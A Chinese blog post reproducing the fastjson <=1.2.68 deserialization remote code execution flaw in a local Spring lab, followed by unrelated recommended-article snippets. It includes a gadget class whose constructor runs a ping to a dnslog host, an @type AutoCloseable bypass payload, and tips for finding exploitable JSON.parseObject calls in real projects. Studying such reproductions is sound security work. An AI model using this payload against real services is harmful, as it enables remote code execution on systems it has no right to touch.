fastjson <=1.2.68 远程代码执行漏洞 学习_ximi-(西米)的博客-程序员秘密

技术标签: 学习  漏洞复现  java  json  

fastjson <=1.2.68 远程代码执行漏洞 学习

环境

1、 MAC
2、Java版本为 1.8.0_261 。
3、Mysql版本为 5.7 。我用的是PHPstudy集成的。
4、IDEA版本随意。

项目

创建一个spring 项目mavc
在这里插入图片描述

pom.xml引用fastjson

<dependency>
  <groupId>com.alibaba</groupId>
  <artifactId>fastjson</artifactId>
  <version>1.2.58</version>
</dependency>

创建demo_fastjson.java

package com.xq.tmall;

import com.alibaba.fastjson.JSON;

public class demo_fastjson {
    public static class User{
        private String id;
        User(){
            System.out.println("User go");
        }
        public void setId(String ids){
            System.out.println("setId go");
            this.id=ids;
        }
        public String getId(){
            System.out.println("GetId go");
            return this.id;
        }
    }

    public static void main(String[] args){

        //案例1
        //了解type 调用方式
        User a = new User();
        String json = JSON.toJSONString(a);
        System.out.println(json);
        //获取序列化的路径执行
        System.out.println(JSON.parseObject(json,User.class));
        System.out.println("-----------------");
        //type 传入恶意的json ,就会被反序列化执行
        System.out.println(JSON.parseObject("{\"@type\":\"com.xq.tmall.demo_fastjson$User\",\"id\":\"123\"}"));
    }
}

输出
通过

漏洞利用

前面已经说到如何去利用,所以这里需要寻找一个子类或实现非常多的类或接口都行,在实际中还是主要看checkAutoType方法中,有哪些对象或接口可以通过校验,实际测试中存在如下几种:

白名单(符合白名单条件的类)
TypeUtils.mappings (符合缓存映射中获取的类)
typeMapping (ParserConfig中本身带有的集合)
deserializers (符合反序列化器的类)
测试中发现实际上 TypeUtils.mappings 中含有相当多的类,其中就包括了接口 java.lang.AutoCloseable

创建一个VulAutoClos.java

package com.xq.tmall;

import java.io.IOException;


//需要继承 AutoCloseable
public class VulAutoClos implements AutoCloseable {
    public VulAutoClos(){
        try {
            Runtime.getRuntime().exec("ping 22.tzw9oj.dnslog.cn");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public void close() throws Exception {

    }
}

在main函数调用JSON.parseObject

//案例2:
        //通过AutoCloseable 调用指定类
        System.out.println(JSON.parseObject("{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"com.xq.tmall.VulAutoClos\",\"cmd\":\"calc\"}\n"));

在这里插入图片描述
现在直接允许,就成功调用了VulAutoClos 类,ping命令dnslog 成功,收到
在这里插入图片描述

某项目案例

pom 使用了fastjon
在这里插入图片描述
全局搜索文件【JSON.parseObject(】,查看是有有使用并参数可控
在这里插入图片描述

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/user_hs/article/details/125182603

智能推荐

c语言程序实现直线插补有图形,谁有用C语言编写的直线,圆弧插补程序?_海Cha的博客-程序员秘密

给你推荐一本书,唐泽圣,周嘉玉,李新友写的,我们以前上课用的,上面有常用的直线和圆弧算法,比如数值微分法生成直线,逐点比较法插补圆弧,角度DDA法产生圆弧,基本都有C语言的源程序.你可以搜搜这本书,本来都有源程序的,后来给删掉了~~贴一个别人的/*************************************************************************Func...

关于JDBC总结_YR7398的博客-程序员秘密

1.JDBC介绍     1.1.What is JDBC?            1.     JDBC(Java Database Connectivity)是基于JAVA语言访问数据库的一种技术。            2.     JDBC 的设计思想:由 SUN 公司(JCP)提供访问数据库的接口,由数据库厂商提                    供对这些接口的实现,程序员编程时都是...

读国外程序员的回帖想到的_上下求索.的博客-程序员秘密

最近工作接触到一些东西,所有的参考都是英文版的,例子也是英文的,以前在这方面的基础很薄弱,所以读那些裸代码的确有难度。在baidu google上找相关信息的时候,发现了一个国外的论坛,从发帖和回帖的时间来看,不亚于CSDN论坛。于是尝试着用英文去发帖子,从回复的速度来看,对比以前在CSDN的发帖,发现那里得到的回复更快。在CSDN 上我还有个感觉,就是那些标题带"散分",“有奖”,“裸体跪求”之

vue-admin-template框架下修改svg的颜色_前端-珊珊的博客-程序员秘密_vue中修改svg颜色

嘿嘿,好久不更博客啦。突然记起这个修改svg颜色这个挺好玩的,记录一下。哈哈哈哈,没想到svg还能这样玩。需求:vue-admin-template里面某个模块鼠标滑过时里面的图标变颜色首先解决方案有很多,改background-image,改img的路径。我都觉得这些最终都是要换图片,有没有直接在图片的基础上改个颜色就ok的。哈哈,svg一下子映入脑子。这玩意阿里icon-font都可以改颜色,啧啧,那么我是不是也可以尝试。说干就干。百度走一波,首先看到一个哥们的博客。如图:https:/

随便推点

Java注解_「已注销」的博客-程序员秘密

注解(Annotation)是对程序的一种描述和说明

三星SAIT China Lab招聘研究员(校招/社招)及实习生_Amusi(CVer)的博客-程序员秘密

点击下方卡片,关注“CVer”公众号AI/CV重磅干货,第一时间送达三星SAIT China Lab招聘研究员(校招/社招)及实习生工作环境及资源:SAIT-China Lab是三星综合技...

采购订单审批人_西柚e的博客-程序员秘密

CDHDR条件OBJECTCLAS = 'EINKBELEG'OBJECTID = 采购订单TCODE = ME28 OR ME29N取对象OBJECTCLAOBJECTIDCHANGENRUSERNAMETCODEUDATEUTIMEUDATE UTIME降序排列循环 CDHDR 内表然后去CDPOS 中找条件OBJECTCLAS = EINKBELEGOBJECTID = 采购订单TABNAME = 'EKKO'FNAME = 'FRGKE'VALUE_NE

Winform 嵌入Word Excel Powerpoint_jjhua的博客-程序员秘密

用微软的免费dsoframer.ocx实现winform嵌入Word Excel Powerpoint。使用时本机调试运行需注册该ocx,部署时客户端可以不用注册。因为该ocx是32位版,因此注册时需要注意两个问题:1、我的操作系统是win8.1 x64 ,win7同理,只要是x64的操作系统不能拷贝到c:\windows\system32文件夹下,应该在C:\Windows\SysW

大项目之网上书城(二)——主页(上)_weixin_30955617的博客-程序员秘密

目录 大项目之网上书城(二)——主页(上) 1.主页 代码 效果图 2.head2.jsp 代码 效果图 3.二级页面的empty.jsp 代码 效果图 ...

【Android】详解Android 网络操作_weixin_30667649的博客-程序员秘密

目录结构:contents structure [+]判断网络判断是否有网络连接判断WIFI网络是否可用判断MOBILE网络是否可用获取当前网络连接的类型信息监听网络获取网络信息需要在AndroidManifest.xml文件中加入相应的权限。&lt;uses-permission android:name="android.pe...